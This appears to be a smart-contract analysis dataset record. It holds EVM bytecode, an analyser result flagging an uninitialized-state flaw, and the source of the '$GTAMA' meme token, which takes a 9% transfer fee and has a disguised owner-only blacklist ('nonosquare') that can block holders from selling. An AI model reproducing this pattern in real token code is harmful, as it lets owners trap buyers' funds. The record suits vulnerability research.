050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061158d565b604051808215151515815260200191505060405180910390f35b341561060557600080fd5b61060d6118ee565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065a57600080fd5b610662611914565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106a2578082015181840152602081019050610687565b50505050905090810190601f1680156106cf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106e857600080fd5b61071d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506119b2565b604051808215151515815260200191505060405180910390f35b341561074257600080fd5b6107ba600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611bd1565b604051808215151515815260200191505060405180910390f35b34156107df57600080fd5b610814600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611d4b565b604051808215151515815260200191505060405180910390f35b341561083957600080fd5b610884600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f47565b6040518082815260200191505060405180910390f35b600080825184511415156108ad57600080fd5b600090505b835181111515610b2c5761097983828151811015156108cd57fe5b90602001906020020151600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000878581518110151561092657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fce90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086848151811015156109c857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508381815181101515610a1e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008886815181101515610ac557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a380806001019150506108b2565b600191505092915050565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bcd5780601f10610ba257610100808354040283529160200191610bcd565b820191906000526020600020905b815481529060010190602001808311610bb057829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d0a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d5757600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610de257600080fd5b610e33826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fec90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fce90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f9782600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fec90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600080825184511415156110ad57600080fd5b600090505b83518111151561120b5782818151811015156110ca57fe5b90602001906020020151600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868481518110151561112357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550838181518110151561117957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92585848151811015156111df57fe5b906020019060200201516040518082815260200191505060405180910390a380806001019150506110b2565b600191505092915050565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112ac5780601f10611281576101008083540402835291602001916112ac565b820191906000526020600020905b81548152906001019060200180831161128f57829003601f168201915b505050505081565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156113c5576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611459565b6113d88382611fec90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000835185511415156115a257600080fd5b600091505b8451821115156118e257600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868481518110151561160057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080848381518110151561165657fe5b906020019060200201511115611704576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087858151811015156116b757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117c6565b61172e848381518110151561171557fe5b9060200190602002015182611fec90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000878581518110151561177d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84828151811015156117d457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000898781518110151561187b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a381806001019250506115a7565b60019250505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119aa5780601f1061197f576101008083540402835291602001916119aa565b820191906000526020600020905b81548152906001019060200180831161198d57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156119ef57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a3c57600080fd5b611a8d826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fec90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b20826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fce90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080849050611be18585610bd5565b15611d42578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611cdb578082015181840152602081019050611cc0565b50505050905090810190601f168015611d085780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515611d2957600080fd5b5af11515611d3657600080fd5b50505060019150611d43565b5b509392505050565b6000611ddc82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fce90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284019050838110151515611fe257fe5b8091505092915050565b6000828211151515611ffa57fe5b8183039050929150505600a165627a7a72305820947955c33c12dd961975fc1d55c395f4d2f37e5938db7c25476c11e1a942b67b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
4,839
0x04216b39667b2fbe3bcdabc5501ab2a4730c0b87
/** *Submitted for verification at Etherscan.io on 2022-04-16 */ /** Buy $GTAMA To Support UNISWAP and Help Launch The Most Viral UNISWAP Campaigns in The Crypto History! Tg : t.me/godzillatama Website : www.godzillatama.com */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GodzillaTama is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "$GTAMA"; string private constant _symbol = "$GTAMA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x2fF95FEB758274461966e08A12FBd8b2927c2cc3); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000 * 10**9; _maxWalletSize = 30000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612ddb565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906128e2565b6104b4565b60405161018e9190612dc0565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612f7d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612922565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d919061288f565b61060c565b60405161021f9190612dc0565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906127f5565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612ff2565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e919061296b565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c791906129c5565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c600480360381019061030791906127f5565b6109db565b6040516103199190612f7d565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612cf2565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612ddb565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906128e2565b610c9a565b6040516103da9190612dc0565b60405180910390f35b3480156103ef57600080fd5b5061040a600480360381019061040591906129c5565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c919061284f565b611373565b60405161046e9190612f7d565b60405180910390f35b60606040518060400160405280600681526020017f244754414d410000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113fa565b8484611402565b6001905092915050565b6000670de0b6b3a7640000905090565b6104ea6113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612ebd565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b61333a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090613293565b91505061057a565b5050565b60006106198484846115cd565b6106da846106256113fa565b6106d5856040518060600160405280602881526020016136f960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113fa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c609092919063ffffffff16565b611402565b600190509392505050565b6106ed6113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612ebd565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612ebd565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612ebd565b60405180910390fd5b6000811161093257600080fd5b610960606461095283670de0b6b3a7640000611cc490919063ffffffff16565b611d3f90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113fa565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d89565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df5565b9050919050565b610a346113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612ebd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612ebd565b60405180910390fd5b670de0b6b3a7640000600f81905550670de0b6b3a7640000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f244754414d410000000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113fa565b84846115cd565b6001905092915050565b610cc06113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612ebd565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83670de0b6b3a7640000611cc490919063ffffffff16565b611d3f90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113fa565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e63565b50565b610e136113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612ebd565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612f5d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670